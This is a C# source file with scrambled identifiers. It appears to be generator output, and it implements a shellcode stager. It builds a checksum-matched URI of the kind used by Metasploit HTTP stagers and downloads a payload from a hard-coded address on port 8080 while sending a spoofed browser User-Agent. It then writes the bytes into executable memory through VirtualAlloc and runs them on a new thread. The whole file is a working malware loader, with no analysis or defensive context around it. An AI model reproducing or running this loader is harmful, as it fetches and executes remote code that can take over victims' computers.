using System;
using System.Net;
using System.Net.Sockets;
using System.Linq;
using System.Runtime.InteropServices;
namespace tieBzGSN
{
    class fNYPzJsoQnbUL
    {
        static string oMQxAg(Random r, int s)
        {
            char[] hYpGVSusjub = new char[s];
            string YgerTWhpKJGzUW = "VQoOyEIbgvtmYsZ2CDJzWXNaPMuwG18jApFrceUhH39fTRSdl5iBk7L640qxnK";
            for (int i = 0; i < s; i++) { hYpGVSusjub[i] = YgerTWhpKJGzUW[r.Next(YgerTWhpKJGzUW.Length)]; }
            return new string(hYpGVSusjub);
        }
        static bool VBILdgALvIr(string s) 
        {
            return ((s.ToCharArray().Select(x => (int)x).Sum()) % 0x100 == 92);
        }
        static string UBuPTr(Random r) { string CAuKkFOd = "";
        for (int i = 0; i < 64; ++i) { CAuKkFOd = oMQxAg(r, 3);
        string dyTJPuDdVeM = new string("g4O0rxTun13dQCBX26SsiWGzylYa59HDENAk8RMFZKJpovLbPhqcfIjetVUmw7".ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
        for (int j = 0; j < dyTJPuDdVeM.Length; ++j) {
        string zYtvQjKtm = CAuKkFOd + dyTJPuDdVeM[j];
        if (VBILdgALvIr(zYtvQjKtm)) {return zYtvQjKtm;}}} return "9vXU";}
        static byte[] EgXfIEW(string uzXEZX)
        {
            WebClient cpUiawXndeyrC = new System.Net.WebClient();
            cpUiawXndeyrC.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");
            cpUiawXndeyrC.Headers.Add("Accept", "*/*");
            cpUiawXndeyrC.Headers.Add("Accept-Language", "en-gb,en;q=0.5");
            cpUiawXndeyrC.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
            byte[] lVtCCQYhGB = null;
            try
            {
                lVtCCQYhGB = cpUiawXndeyrC.DownloadData(uzXEZX);
                if (lVtCCQYhGB.Length < 100000) return null;
            }
            catch (WebException) { }
            return lVtCCQYhGB;
        }
        static void jbjpFDcJOTdnf(byte[] BXtBYGRQl)
        {
            if (BXtBYGRQl != null)
            {
                UInt32 FMvQFphJ = VirtualAlloc(0, (UInt32)BXtBYGRQl.Length, 0x1000, 0x40);
                Marshal.Copy(BXtBYGRQl, 0, (IntPtr)(FMvQFphJ), BXtBYGRQl.Length);
                IntPtr aQwoJnudLz = IntPtr.Zero;
                UInt32 FHsmFivuKzMRsfE = 0;
                IntPtr MgsFnFcea = IntPtr.Zero;
                aQwoJnudLz = CreateThread(0, 0, FMvQFphJ, MgsFnFcea, 0, ref FHsmFivuKzMRsfE);
                WaitForSingleObject(aQwoJnudLz, 0xFFFFFFFF);
            }
        }
        static void Main()
        {
            Random svqfpaG = new Random((int)DateTime.Now.Ticks);
            byte[] ttHNGBlypBJViR = EgXfIEW("http://192.168.159.131:8080/" + UBuPTr(svqfpaG));  //ip:port
            jbjpFDcJOTdnf(ttHNGBlypBJViR);
        }
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 hRCGkQzK, UInt32 jhtuHNjj, UInt32 grWeJwCRGFVZ, UInt32 bfGHZRhYhySUg);
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 XiIUEnHOVGS, UInt32 APXHSLfd, UInt32 YskYjVQJCiwhDIC, IntPtr sSWqbKsKB, UInt32 jIjMqtPH, ref UInt32 JZtygNKOBae);
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr paDbvOog, UInt32 eQAbrBcoIJzrvqQ);
    }
}
